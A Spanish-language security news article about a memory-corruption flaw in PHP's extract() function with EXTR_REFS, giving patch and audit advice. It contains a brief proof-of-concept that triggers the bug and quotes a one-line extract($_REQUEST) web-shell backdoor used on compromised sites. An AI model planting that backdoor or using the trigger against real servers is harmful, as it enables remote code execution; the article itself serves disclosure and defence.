Grave vulnerabilidad en PHP: falla en extract() permite ejecución arbitraria de código

El fallo afecta versiones 5.x, 7.x y 8.x y pone en riesgo miles de aplicaciones web que aún dependen de esta función obsoleta

Una vulnerabilidad crítica ha sido descubierta en la función extract() de PHP, permitiendo a atacantes ejecutar código arbitrario a nivel nativo mediante técnicas de corrupción de memoria. El fallo, que afecta a las versiones 5.x, 7.x y 8.x, ha sido reportado por el investigador LCFR a través de SSD Secure Disclosure, y ya ha sido abordado parcialmente por el equipo de desarrollo de PHP.

¿Qué es extract() y por qué es peligrosa?

La función extract() permite importar variables desde un array asociativo directamente al ámbito de ejecución, algo útil pero riesgoso si se utiliza con datos controlados por el usuario, como $_POST o $_REQUEST. En combinación con el modificador EXTR_REFS, extract() puede vincular referencias directamente al array original, lo cual complica la gestión de memoria.

El problema reside en que, durante la destrucción de variables referenciadas, si el objeto asociado ejecuta su método mágico __destruct() y elimina la variable dentro del mismo ciclo de destrucción, PHP libera dos veces el mismo puntero de memoria (double-free en PHP 5.x) o reutiliza memoria ya liberada (use-after-free en PHP 7.x/8.x), permitiendo corrupción de heap y eventualmente ejecución de código arbitrario.

Impacto de la vulnerabilidad

La explotación de esta falla puede permitir:

  • Corromper estructuras internas como HashTables o zval.
  • Manipular punteros para lograr lectura/escritura arbitraria en memoria.
  • Restaurar funciones deshabilitadas como system() para ejecutar comandos.
  • Ejecutar código nativo en el servidor, superando protecciones estándar de PHP.

Prueba de concepto (PoC) simplificada

class Exploitable {
    function __destruct() {
        unset($GLOBALS['var']); // Dispara la condición crítica
    }
}

$input = ['var' => new Exploitable()];
extract($input, EXTR_REFS); // Vulnerabilidad aquí

Acciones recomendadas

El equipo de PHP ha publicado un aviso de seguridad y está trabajando en un parche (ver GitHub Advisory GHSA-4pwq-3fv3-gm94). Mientras tanto, se recomienda a todos los desarrolladores y administradores de sistemas:

Actualizar inmediatamente PHP a la última versión disponible.
Evitar el uso de extract() con datos provenientes del usuario.
Auditar el código existente para detectar usos inseguros de extract().
✅ En caso de que sea necesario utilizar extract(), usar banderas seguras como EXTR_PREFIX_ALL para evitar sobrescrituras peligrosas.

Un viejo problema que persiste

Esta no es la primera vez que extract() está bajo el foco. Desde hace años, expertos en seguridad advierten sobre su mal uso, especialmente en código heredado. Casos como:

@extract($_REQUEST);
@die($ctime($atime)); // Backdoor: ejecuta $_REQUEST['ctime']('comando')

han sido utilizados como puerta trasera en miles de sitios comprometidos.

Conclusión

Este nuevo hallazgo reabre el debate sobre el uso de funciones heredadas en entornos modernos. Mientras las actualizaciones corrigen el núcleo de PHP, la clave está en las buenas prácticas de desarrollo: auditar, depurar y eliminar patrones inseguros.

La seguridad en aplicaciones PHP pasa por entender cómo se comporta el motor interno, y extract() demuestra ser más una reliquia peligrosa que una ayuda moderna.

Fuente: GBHackers y SSD Disclosure

Scroll al inicio